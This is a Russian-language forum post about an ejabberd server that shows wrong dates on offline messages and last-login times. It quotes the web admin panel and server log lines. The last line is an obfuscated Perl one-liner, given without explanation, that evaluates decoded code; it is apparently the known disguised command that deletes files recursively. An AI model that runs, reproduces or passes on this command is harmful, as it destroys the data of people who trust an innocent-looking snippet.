
Дата уже в веб админке ejabber такая, думаю сервер её и ставит
<body>Оффлайн сообщение (16.02.2007 16:45:17)
.....тело сообщения </body>
Т.е. чел когда подключится, будь то PSI или другим клиентом, он получит то что зависло на сервере. Это сообщение я отправлял челу вчера в офф, во время написания первого топа. В первом топе офф сообщение мне от чела после 18:00 - время тоже не то. Клиенты мой и кому пишу - разные, т.е. это 100% не проблема клиента. Ну и в клиенте время точ в точ, что в веб админке ejabber - в оффлайн мессагах, т.е. клиент его ни как не меняет.
Еще в веб админке, где пользователи вижу такую инфу:
Офлайновые сообщения Последнее подключение
user@j.ru 2 2007-02-16 17:53:27
Т.е. этот пользователь был вчера подключен и писал мне в офф, почему время последнего подключения 2007-02-16 - хз. У некоторых время стоит
2010-11-17 17:30:16, откуда то сервер это берет. На сервере таймзона, время - все верно, проверил.
Вот сообщения, которые пишу в On-Line:
Вопрос (09:25:13 27/01/2011)
пришли тестовую мессагу плиз
Ответ юзера (09:25:23 27/01/2011)
куда?

т.е. в онлайне с временем все в порядке.
Лог ejabber мне не нравится, но вот что в нем, при отключении:
=INFO REPORT==== 2011-01-27 09:31:12 ===
I(<0.11029.2>:mod_shared_roster:602) : unset_presence for "administrator" @ "j.ru" / "PSI" -> [] (0 resources)
Дальше захожу в админку и смотрю время последнего подключения администратора
administrator@j.ru 0 2007-02-17 07:55:03
Теперь подключаюсь:
=INFO REPORT==== 2011-01-27 09:31:57 ===
I(<0.11038.2>:ejabberd_c2s:681) : ({socket_state,gen_tcp,#Port<0.71652>,<0.11037.2>}) Accepted authentication for administrator
=INFO REPORT==== 2011-01-27 09:31:57 ===
I(<0.11038.2>:ejabberd_c2s:793) : ({socket_state,gen_tcp,#Port<0.71652>,<0.11037.2>}) Opened session for administrator@j.ru/PSI
=INFO REPORT==== 2011-01-27 09:31:58 ===
I(<0.11038.2>:mod_shared_roster:566) : user_available for "administrator" @ "j.ru" (1 resources)
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'